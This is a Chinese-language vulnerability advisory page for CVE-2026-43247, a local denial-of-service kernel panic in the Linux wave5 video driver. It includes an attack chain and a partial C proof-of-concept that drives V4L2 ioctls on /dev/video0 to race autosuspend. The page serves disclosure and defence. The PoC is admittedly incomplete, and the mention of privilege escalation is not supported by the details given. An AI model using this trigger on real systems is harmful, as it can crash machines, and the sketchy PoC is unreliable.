IPBUF安全漏洞报告
English
CVE-2026-43247 CVSS 5.5 中危

CVE-2026-43247 Linux内核Wave5驱动内核崩溃漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43247
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务Kernel PanicDoSchips-mediawave5

漏洞概述

Linux内核中的chips-media wave5驱动程序存在一个安全漏洞,该漏洞可能导致系统内核崩溃。问题根源在于设备关闭过程中,由于autosuspend延迟超时导致设备意外进入挂起模式,从而触发SError中断。本地攻击者可利用此缺陷通过特定的视频解码操作使系统崩溃,造成拒绝服务。

技术细节

该漏洞具体位于Linux内核的media子系统中,涉及chips-media wave5硬件加速器的驱动代码。当驱动程序正在处理解码器的关闭或清除显示标志(wave5_dec_clr_disp_flag)操作时,如果autosuspend机制因延迟超时而触发,设备将进入低功耗状态。此时,驱动程序尝试访问硬件寄存器,但由于设备已挂起,导致异步SError中断(Asynchronous SError Interrupt)。堆栈跟踪显示崩溃发生在wave5_dec_clr_disp_flag函数中,最终导致panic。由于攻击需要本地访问权限(AV:L)且无需用户交互(UI:N),属于本地权限提升或DoS攻击场景。

攻击链分析

STEP 1
步骤1:本地访问
攻击者需要拥有本地系统的低权限访问权限。
STEP 2
步骤2:触发解码操作
通过V4L2接口调用wave5驱动进行视频解码(如H.265),激活驱动程序。
STEP 3
步骤3:触发竞态条件
在设备操作过程中,利用autosuspend延迟超时机制,使设备在驱动程序未准备好时进入挂起模式。
STEP 4
步骤4:导致内核崩溃
驱动程序尝试访问已挂起的硬件寄存器,触发SError中断,导致Kernel Panic。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC Concept for CVE-2026-43247 * Trigger: Race condition between autosuspend and v4l2 close/queue operations. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/videodev2.h> int main() { int fd = open("/dev/video0", O_RDWR); if (fd < 0) return 1; struct v4l2_format fmt = {0}; fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; // Setup format for H265 decoding (wave5 supported) // ... set fmt ... ioctl(fd, VIDIOC_S_FMT, &fmt); // Start streaming to trigger autosuspend logic race ioctl(fd, VIDIOC_STREAMON, &(int){V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE}); // Simulate delay or operations that trigger autosuspend timeout sleep(2); // Queue buffers or close device while autosuspend might kick in // ioctl(fd, VIDIOC_QBUF, ...); close(fd); return 0; }

影响范围

Linux Kernel 6.12.x
Linux Kernel < 6.13

防御指南

临时缓解措施
建议暂时禁用chips-media wave5驱动模块,或者限制非特权用户对视频设备(/dev/video*)的访问权限,直到系统升级完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表